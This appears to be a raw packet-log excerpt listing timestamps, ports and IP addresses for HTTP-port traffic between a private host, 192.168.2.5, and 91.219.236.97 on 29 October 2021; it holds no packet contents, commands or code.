Oct 29, 2021 20:11:25.270889044 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.303831100 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303865910 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303881884 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303898096 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303914070 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303930998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303949118 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303962946 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.303980112 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303997993 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.303997993 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.304006100 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.304013014 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.304045916 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.304685116 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337487936 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337517977 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337534904 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337549925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337567091 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337583065 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337615967 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337649107 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337652922 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337670088 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337687016 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337727070 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337758064 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337774992 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337786913 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337816954 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337822914 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337852955 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337897062 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337954998 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.337960958 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.337980032 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338030100 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.338083982 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338129997 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338146925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338164091 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338181019 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338192940 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338195086 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.338211060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338227034 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338239908 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.338246107 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.338324070 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383379936 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383413076 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383430004 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383443117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383460999 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383462906 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383481979 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383486032 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383506060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383518934 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383529902 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383534908 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383552074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383552074 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383569002 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383578062 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383589983 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383601904 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383614063 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383625031 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383637905 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383649111 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383677959 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383694887 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383709908 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383727074 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383728981 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383750916 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383766890 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383770943 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383788109 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383793116 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383811951 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383829117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383833885 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383846998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383863926 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383878946 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383884907 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383904934 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383908987 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.383919954 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.383958101 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.416241884 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.416279078 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.416296005 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.416307926 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.416383982 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.416430950 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.417465925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417494059 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417510033 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417526007 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417542934 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417543888 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.417560101 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417563915 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.417572975 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.417588949 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.417638063 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.418725967 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.418749094 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.418761969 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.418772936 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.418811083 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.418867111 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.419317007 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419339895 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419357061 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419373035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419389009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419405937 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419415951 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.419420004 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419460058 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.419483900 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.419738054 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419756889 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419775009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419786930 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.419799089 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.419842958 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.420414925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.420439005 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.420455933 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.420468092 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.420480013 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.420526028 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.449359894 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449390888 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449408054 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449419022 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449465990 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.449506998 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.449901104 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449923992 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449943066 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449954033 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.449968100 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.449985981 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.450582981 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.450611115 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.450628042 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.450628042 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.450639963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.450680971 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452064991 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452088118 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452100992 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452111959 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452147007 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452166080 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452481985 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452506065 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452522039 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452534914 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452547073 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452559948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452559948 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452572107 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452574015 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452589035 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452590942 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452609062 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452625036 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452630043 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452676058 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452714920 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452732086 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452747107 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452758074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.452764034 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.452788115 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.453629017 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.453654051 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.453670979 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.453681946 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.453716040 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.453737020 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491394997 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491421938 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491440058 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491457939 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491477013 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491493940 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491509914 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491507053 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491522074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491534948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491545916 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491548061 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491550922 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491578102 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491806984 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491842985 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491852045 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491859913 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491895914 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.491978884 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.491996050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492039919 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.492566109 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492589951 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492605925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492623091 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492640018 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492654085 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.492656946 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492662907 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.492672920 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492690086 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492697954 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.492706060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492722988 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492731094 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.492742062 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492758036 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492763996 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.492772102 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.492799997 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.516252041 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516280890 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516298056 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516314030 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516329050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516328096 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.516345024 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516356945 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.516375065 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.516408920 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.525666952 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525703907 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525726080 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525748014 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525754929 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.525769949 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525782108 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.525789022 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525804996 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525820971 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525831938 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.525836945 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525854111 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.525865078 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.525897980 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.526381969 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526406050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526422977 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526439905 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526446104 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.526457071 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526473045 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526477098 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.526489973 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526505947 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526509047 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.526524067 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526540041 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.526552916 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.526587009 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.527148008 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527169943 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527187109 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527203083 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527219057 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527235985 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527241945 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.527251959 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527266026 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.527271032 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.527314901 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.547967911 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.547996998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.548012018 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.548023939 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.548063993 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.548106909 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.549077988 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.549108028 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.549129009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.549144983 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.549163103 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.549196005 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.558434963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558464050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558476925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558489084 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558506012 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558553934 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.558762074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558780909 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558796883 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558814049 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558825970 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.558830976 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.558855057 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.558892965 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.559160948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.559180975 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.559192896 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.559269905 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.560023069 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560048103 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560064077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560080051 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560096025 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560107946 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.560108900 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560122013 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560131073 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.560134888 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560147047 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560149908 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.560159922 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560172081 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560184002 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560193062 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.560194016 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.560241938 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.560312033 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.580945969 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.580985069 CEST	80	49847	91.219.236.97	192.168.2.5
